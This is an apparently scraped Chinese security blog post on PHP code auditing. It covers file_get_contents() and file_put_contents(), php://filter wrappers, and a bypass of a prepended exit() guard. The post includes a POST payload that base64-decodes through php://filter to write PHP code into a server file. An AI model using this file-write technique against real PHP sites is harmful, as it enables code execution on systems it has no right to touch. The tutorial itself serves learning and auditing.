zoukankan      html  css  js  c++  java
  • php代码审计-file_get_contents()&file_put_contents()

    file_get_contents()

    https://www.php.net/function.file-get-contents

    只需要了解filename即可

    • filename可以是简单的一个文件path,相对路径或者绝对路径
    <?php
    // <= PHP 5
    $file = file_get_contents('./people.txt', true);
    // > PHP 5
    $file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
    ?>
    

    很显然它的返回值是读取文件的内容

    • filename也可以是一个url

    如:

    • filename也可以是一个伪协议形式的:

    如:

    echo file_get_contents('php://input');
    

    或者

    echo file_get_contents('php://filter/read=convert.base64-encode/resource=test.txt');
    

    file_put_contents()

    直接看使用实例:

    1. 直接向文件写入内容(filename为文件路径)
    <?php
    $file = 'people.txt';
    // Open the file to get existing content
    $current = file_get_contents($file);
    // Append a new person to the file
    $current .= "John Smith
    ";
    // Write the contents back to the file
    file_put_contents($file, $current);
    ?>
    
    1. 和file_get_contents()类似的,file_put_contents()的filename参数也可以用PHP伪协议来修饰,以控制写入文件内容的格式等

    eg1:

    file_put_contents('php://filter/write=convert.base64-encode/resource=tmp.php',"123456");
    

    然后tmp.php里面

    其中 MTIzNDU2=base64_encode("123456")

    eg2:

    <?php 
    	file_put_contents('php://filter/write=convert.base64-decode/resource=tmp.php',"MTIzNDU2");
    ?>
    

    绕过死亡exit()

    如下代码:

    $content = '<?php exit; ?>';
    $content .= $_POST['txt'];
    file_put_contents($_POST['filename'], $content);
    

    $content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了
    这里就可以利用file_put_contents()filename参数可以用伪协议过滤的特性:

    比如可以传入参数:

    filename=php://filter/write=convert.base64-decode/resource=tmp.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
    //PD9waHAgcGhwaW5mbygpOyA/Pg== 是<?php phpinfo(); ?>的base64
    

    访问tmp.php

    原理可以参考 https://www.leavesongs.com/PENETRATION/php-filter-magic.html
    这篇文章里面还有一些别的姿势也可以参考

  • 相关阅读:
    Python-02 基础语法
    Python-01 基础语法
    windows端口被占用-解决方案
    vue两个独立的组件之间的传值通信
    URI
    Inversion of control
    7月10日每日总结
    7月9日每日总结
    xshell终端设置主机名和用户名颜色
    PyTorch中一些损失函数的使用
  • 原文地址:https://www.cnblogs.com/l0nmar/p/13877678.html
Copyright © 2011-2022 走看看